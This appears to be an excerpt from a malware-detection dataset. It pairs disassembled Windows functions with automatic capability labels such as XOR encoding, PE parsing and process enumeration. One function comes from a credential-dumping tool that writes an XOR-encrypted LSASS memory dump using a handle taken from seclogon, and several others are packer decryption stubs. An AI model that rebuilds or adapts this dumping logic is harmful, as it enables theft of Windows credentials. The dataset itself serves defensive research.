joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400cd5dc
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400ae6cc
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400cd666
cmp byte [rbp - 0x21], r15b
je 0x1400cd661
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400cd69c
call fcn.1400bf01c
test eax, eax
jne 0x1400cd688
cmp byte [rbp - 0x21], r15b
je 0x1400cd680
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400cd69c
cmp byte [rbp - 0x21], r15b
je 0x1400cd699
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400b91e8
test eax, eax
jne 0x1400cd73c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400ae6cc
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400cd6db
cmp byte [rbp - 0x21], r15b
je 0x1400cd710
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400cd710
call fcn.1400bf01c
test eax, eax
jne 0x1400cd6fc
cmp byte [rbp - 0x21], r15b
je 0x1400cd6f5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400cd710
cmp byte [rbp - 0x21], r15b
je 0x1400cd70d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400b91e8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400cd73c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400cd73f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400cd74d
mov rcx, rdi
call fcn.1400bc7ec
cmp byte [rbp + 0x3f], r15b
je 0x1400cd75c
mov rcx, qword [rbp + 0x27]
call fcn.1400bc7ec
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1400ce4bc
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400bfb08
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400bfb08
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400ce60c
cmp rax, 0xffffffffffffffff
je 0x1400ce60c
xor edi, edi
test rbp, rbp
jle 0x1400ce5b7
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400bc774
mov rbx, rax
test rax, rax
jne 0x1400ce544
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400ce5ad
mov edx, 0x8000
mov ecx, r14d
call fcn.1400ba554
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400c1084
cmp eax, 0xffffffff
je 0x1400ce58d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400ce554
mov edx, r15d
mov ecx, r14d
call fcn.1400ba554
jmp 0x1400ce5ad
cmp byte [rsi + 0x38], dil
je 0x1400ce5a4
cmp dword [rsi + 0x34], 5
jne 0x1400ce5a4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], select
cmp byte [rsi + 0x30], dil
je 0x1400ce5ad
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400bc7ec
jmp 0x1400ce620
jns 0x1400ce620
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400bfb08
cmp rax, 0xffffffffffffffff
jne 0x1400ce5d8
cmp byte [rsi + 0x30], dil
je 0x1400ce620
mov edi, dword [rsi + 0x2c]
jmp 0x1400ce620
mov ecx, r14d
call fcn.1400c6f80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400ce620
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, recv
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], select
jmp 0x1400ce620
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400ce619
mov eax, dword [rsi + 0x2c]
jmp 0x1400ce61e
mov eax, socket
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400bfb08
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1400cf470
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400cf498
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400cf498
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x1414886c8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1414886d2
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1414886fb
pop rbp
sub rbp, 0x33
sub rbp, 0x14886c8
sub rsp, 0x20
jmp 0x14148871a
mov rax, 0x14886c8
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x3300e7c2
xor byte [rax], dl
inc rax
dec rcx
jne 0x141488739
jmp 0x141488750
mov cl, byte [rbx + 0x2b]
inc r10b
ret 0x8ac2
Function at 0x141c28e58
Capabilities:
Encode data using xor

Disassembly:
jmp 0x141c28e62
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x141c28e8b
pop rbp
sub rbp, 0x33
sub rbp, 0x1c28e58
sub rsp, 0x20
in eax, dx
pop rax
mov es, edx
add dword [rax - 0x7f], ecx
in al, dx
and byte [rax], al
add byte [rax], al
jmp 0x141c28eaa
mov rax, 0x1c28e58
add rax, rbp
add rax, 0x84
mov rcx, 0x647
mov rdx, 0xfffffffff447bf3a
xor byte [rax], dl
inc rax
dec rcx
leave
jne 0x141c28ec9
jmp 0x141c28ee0
jb 0x141c28e95
sal dword [rcx + 0x3a3a06b3], cl
cmp dh, byte [rdx - 0x45]
sti
xor bh, byte [rbx]
cmp bh, byte [rdx]
jb 0x141c28f2d
sal dword [rdx - 3], cl
cli
xor bh, byte [rdx]
cmp bh, byte [rdx]
jb 0x141c28ef9
cmp dh, byte [rdx - 3]
clc
adc bh, byte [rdx]
cmp bh, byte [rdx]
jb 0x141c28ed0
fdiv dword [rdx + 0x3b]
sti
mov cl, 0xbb
cmp bh, byte ss:[rdx]
cmp dh, byte [rdx + 0x3b]
shr byte [rdx + 0x6a], cl
jb 0x141c28e96
sub ch, byte [rax + 0x2c]
cmp bh, byte [rdx]
cmp bh, byte [rdx]
cmp dh, byte [rdx - 0x7d]
jl 0x141c28f26
xchg esi, eax
cmp edi, dword [rdx]
cmp bh, byte [rdx]
cmp dh, byte [rdx + 0x3b]
jb 0x141c28f63
sal dword [rdx - 0x80], cl
add edx, dword [rbp + 0x3a3a6e6a]
push 0x6e
cmp bh, byte [rdx]
cmp bh, byte [rdx]
sar byte [rdi], cl
cmp bh, byte [rdx]
cmp dl, bl
sub al, 0x3a
cmp bh, byte [rdx]
sti
sar byte [rax], cl
or ebp, dword [rbx]
jb 0x141c28eff
sti
cmp bh, byte ds:[rdx]
cmp dh, byte [rdx - 0x3b]
xor eax, 0xc5c5d4bf
vpunpckldq xmm4, xmm0, xmmword [rax + 0x68]
push 0x72
invalid
jl 0x141c28f6b
xchg esi, eax
cmp edi, dword [rdx]
cmp bh, byte [rdx]
cmp dh, byte [rdx + 0x3b]
jb 0x141c28fa8
rcl edx, cl
invalid
jb 0x141c28f90
jb 0x141c28f93
call 0x1b4026246
invalid
mov esi, 0x3a3a3a5e
cmp bh, byte [rdx]
xor eax, 0x3a3a64b2
cmp bl, byte [rcx + rsi*4 + 0x26]
add edi, dword [rdx - 0x41ca2d3f]
cmp bh, byte es:[rdx]
cmp bh, byte [rdx - 0x41ca2c3f]
mov edx, 0xbe35d3c1
sub dword [rdx], edi
cmp bh, byte [rdx]
pop rsp
mov ebx, 0x351fc5c1
mov esi, 0x3a3a3a25
jb 0x141c28f83
sti
sal edx, cl
invalid
Function at 0x140002740
Capabilities:
Check if file exists
Encode data using xor
Get file attributes
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov edi, dword [0x140027d00]
mov ebx, edx
mov rbp, qword [0x140027cf8]
mov rsi, rcx
movd xmm0, edx
xor edx, edx
pshufd xmm0, xmm0, 0
test edi, edi
je 0x14000283c
cmp edi, 0x10
jb 0x140002823
andps xmm0, xmmword [0x1400236f0]
mov r9d, edi
packuswb xmm0, xmm0
and r9d, 0xfffffff0
packuswb xmm0, xmm0
mov r8d, 8
movdqa xmmword [rsp + 0x40], xmm0
mov r10d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm0, dword [rdx + rbp]
lea eax, [r8 - 4]
movd xmm1, r10d
xorps xmm1, xmm0
movd xmm0, r10d
movd dword [rdx + rbp], xmm1
add edx, 0x10
movd xmm1, dword [rax + rbp]
xorps xmm1, xmm0
movd dword [rax + rbp], xmm1
mov eax, r8d
movd xmm1, r10d
movd xmm0, dword [rax + rbp]
xorps xmm1, xmm0
movd xmm0, r10d
movd dword [rax + rbp], xmm1
lea eax, [r8 + 4]
movd xmm1, dword [rax + rbp]
add r8d, 0x10
xorps xmm1, xmm0
movd dword [rax + rbp], xmm1
cmp edx, r9d
jb 0x1400027c0
cmp edx, edi
jae 0x14000283c
mov eax, edx
mov ecx, edi
add rax, rbp
sub ecx, edx
mov edx, ecx
nop
xor byte [rax], bl
lea rax, [rax + 1]
sub rdx, 1
jne 0x140002830
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x1400028fb
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], 0
mov r8d, edi
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400028cd
test al, 0x10
jne 0x1400028cd
mov rdx, rsi
lea rcx, str.Lsass_dump_created_with_lsass_handle_stolen_from_seclogon__Check_the_path__S_n
call fcn.140001010
mov edx, ebx
lea rcx, str.The_dump_has_been_created_in_an_encrypted_form_with_the_xor_key__d._Remember_to_decrypt_it_with__f_flag_before_parsing_it._n
call fcn.140001010
jmp 0x1400028d9
lea rcx, str.Something_went_wrong_:__n
call fcn.140001010
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140002ec0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov rdx, rsi
lea rcx, str.Cannot_create_file__S._Exiting..._n
call fcn.140001010
mov ecx, 1
call fcn.140006600
int3
Function at 0x140003780
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400037ca
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400037ca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400037ca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400037ca
cmp dword [rcx + 0x84], 0xe
jbe 0x1400037ca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400037cc
xor al, al
add rsp, 0x28
ret

Function at 0x140006418
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140006487
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006487
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006487
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006487
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006487
cmp dword [rcx + 0x84], 0xe
jbe 0x140006487
cmp dword [rcx + 0xf8], 0
je 0x140006487
mov ecx, ebx
call fcn.14000652c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140006320
nop
cmp dword [rbp + 0x20], 0
jne 0x1400064e8
call fcn.14000c9c8
cmp eax, 1
jne 0x1400064d8
xor dl, dl
jmp 0x1400064e2
call fcn.14000c994
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x1400064f3
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400064fc
int3
xor r8d, r8d
xor edx, edx
jmp 0x140006418

Function at 0x140006600
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140006487
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006487
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006487
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006487
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006487
cmp dword [rcx + 0x84], 0xe
jbe 0x140006487
cmp dword [rcx + 0xf8], 0
je 0x140006487
mov ecx, ebx
call fcn.14000652c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140006320
nop
cmp dword [rbp + 0x20], 0
jne 0x1400064e8
call fcn.14000c9c8
cmp eax, 1
jne 0x1400064d8
xor dl, dl
jmp 0x1400064e2
call fcn.14000c994
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x1400064f3
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400064fc
int3
xor r8d, r8d
xor edx, edx
jmp 0x140006418
Function at 0x14001134c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400113d3
mov rsi, rbx
cmp word [rax], bp
je 0x140011392
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14001137c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140011378
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000e460
mov rdi, rax
test rax, rax
je 0x1400113c0
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1400186b0
mov rbp, rdi
xor ecx, ecx
call fcn.14000cfb0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001554c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140015562
mov al, 1
jmp 0x1400155ce
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140015573
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400155cc
mov ecx, dword [rcx + 0x18]
nop
call fcn.140011af0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400155cc
and qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov r9d, 1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400155cc
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400155cc
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400155ce
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140017e90
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140017eb8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140017eb8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140dd2108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140dd228f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140dd2139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140dd211f
add dl, dl
jne 0x140dd2146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140dd21a6
xor eax, eax
add dl, dl
jne 0x140dd2155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140dd225d
add dl, dl
jne 0x140dd2166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140dd2173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140dd2180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140dd218d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140dd219a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140dd212e
mov eax, 1
add dl, dl
jne 0x140dd21b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140dd21c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140dd21ab
sub eax, ebx
mov ebx, 1
jne 0x140dd21fc
mov ecx, 1
add dl, dl
jne 0x140dd21de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140dd21eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140dd21d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140dd212e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140dd2218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140dd2225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140dd220d
cmp eax, 0x7d00
jae 0x140dd224b
cmp eax, 0x500
jb 0x140dd2246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140dd212e
cmp eax, 0x7f
ja 0x140dd224e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140dd212e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140dd2282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140dd212e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140006370
Capabilities:
Enumerate pe sections

Disassembly:
push rbx
push rbp
push r13
push r14
mov eax, 0x1078
call fcn.1400147a0
sub rsp, rax
mov rax, qword [0x14002d010]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov r14, rdx
mov qword [rsp + 0x38], r9
mov rdx, qword [rsp + 0x10c0]
xor ebp, ebp
mov qword [rsp + 0x30], rdx
mov r13, r8
mov qword [rsp + 0x40], rcx
test r8, r8
jne 0x1400063c2
mov rdx, rbp
jmp 0x14000648b
mov r9d, 0x1000
lea rdx, [rsp + 0x50]
call fcn.140004db0
test al, al
je 0x1400063ba
mov qword [rsp + 0x10a8], rsi
mov qword [rsp + 0x1070], rdi
mov rdi, 0xffffffffffffffff
mov qword [rsp + 0x1068], r12
mov qword [rsp + 0x1060], r15
nop dword [rax]
inc rdi
cmp byte [r14 + rdi], bpl
jne 0x140006400
movsxd rax, dword [rsp + 0x8c]
lea rcx, [rsp + 0x50]
add rcx, rax
mov esi, ebp
movzx eax, word [rcx + 0x14]
lea r12, [rcx + 0x18]
movzx r15d, word [rcx + 6]
add r12, rax
test r15d, r15d
je 0x140006468
mov eax, esi
mov r8, rdi
mov rdx, r14
lea rcx, [rax + rax*4]
lea rbx, [r12 + rcx*8]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140006461
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], bpl
jne 0x140006453
cmp rdi, rax
je 0x1400064c5
inc esi
cmp esi, r15d
jb 0x140006430
mov rdx, rbp
mov r12, qword [rsp + 0x1068]
mov rdi, qword [rsp + 0x1070]
mov rsi, qword [rsp + 0x10a8]
mov r15, qword [rsp + 0x1060]
mov rax, qword [rsp + 0x30]
mov r9, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov r8d, ebp
mov qword [rsp + 0x20], rax
call fcn.140006260
mov rcx, qword [rsp + 0x1050]
xor rcx, rsp
call fcn.140013630
add rsp, 0x1078
pop r14
pop r13
pop rbp
pop rbx
ret
mov eax, dword [rbx + 0xc]
test eax, eax
je 0x140006468
mov ecx, dword [rbx + 8]
lea rdx, [rsp + 0x50]
add rdx, rax
je 0x140006468
test ecx, ecx
je 0x140006468
lea rax, [rsp + 0x50]
mov ebp, ecx
sub rdx, rax
add rdx, r13
jmp 0x14000646b
Function at 0x140007390
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
mov rsi, rdx
mov rdi, rcx
xor r8d, r8d
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x140007491
movsxd rax, dword [rdx + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x140007491
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r8
mov ecx, dword [rax + rdx + 0xb0]
test ecx, ecx
jne 0x1400073f5
mov qword [rdi], r8
mov qword [rdi + 8], r8
mov qword [rdi + 0x10], r8
jmp 0x14000749c
lea rbx, [rdx + rcx]
mov ebp, dword [rax + rdx + 0xb4]
add rbp, rbx
mov rcx, qword [rsp + 0x30]
cmp rbx, rbp
jae 0x14000747f
nop dword [rax]
mov edx, dword [rbx + 4]
test edx, edx
je 0x14000747f
mov eax, dword [rbx]
add rax, rsi
mov qword [rsp + 0x40], rax
lea rax, [rbx + 8]
mov qword [rsp + 0x48], rax
lea rax, [rdx - 8]
shr rax, 1
mov dword [rsp + 0x50], eax
cmp rcx, r8
je 0x140007458
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rcx], xmm0
movsd xmm1, qword [rsp + 0x50]
movsd qword [rcx + 0x10], xmm1
add rcx, 0x18
mov qword [rsp + 0x30], rcx
jmp 0x140007474
lea r8, [rsp + 0x40]
mov rdx, rcx
lea rcx, [rsp + 0x28]
call fcn.1400121c0
mov r8, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
mov eax, dword [rbx + 4]
add rbx, rax
cmp rbx, rbp
jb 0x140007410
mov rax, qword [rsp + 0x28]
mov qword [rdi], rax
mov qword [rdi + 8], rcx
mov qword [rdi + 0x10], r8
jmp 0x14000749c
mov qword [rcx], r8
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], r8
mov rax, rdi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
Function at 0x140007e60
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140007eff
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140007eff
mov r8d, dword [rax + rcx + 0xd8]
test r8d, r8d
je 0x140007ef2
mov rdi, qword [r8 + rcx + 0x58]
test rdi, rdi
je 0x140007ef2
sub rcx, rdx
movabs rsi, 0x2b992ddfa232
add rdi, rcx
cmp qword [rdi], rsi
jne 0x140007eff
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
movabs rax, 0x2b992ddfa233
xor rcx, rbx
mov rbx, qword [rsp + 0x30]
xor rcx, rsi
cmp rcx, rsi
cmove rcx, rax
mov al, 1
mov qword [rdi], rcx
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov al, 1
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rsi, qword [rsp + 0x38]
xor al, al
add rsp, 0x20
pop rdi
ret

Function at 0x140008190
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x14002d010]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rcx
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x12c
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x130
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140008214
nop dword [rax]
mov rdx, rdi
lea rcx, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov rcx, rbx
test eax, eax
je 0x140008240
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400081f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
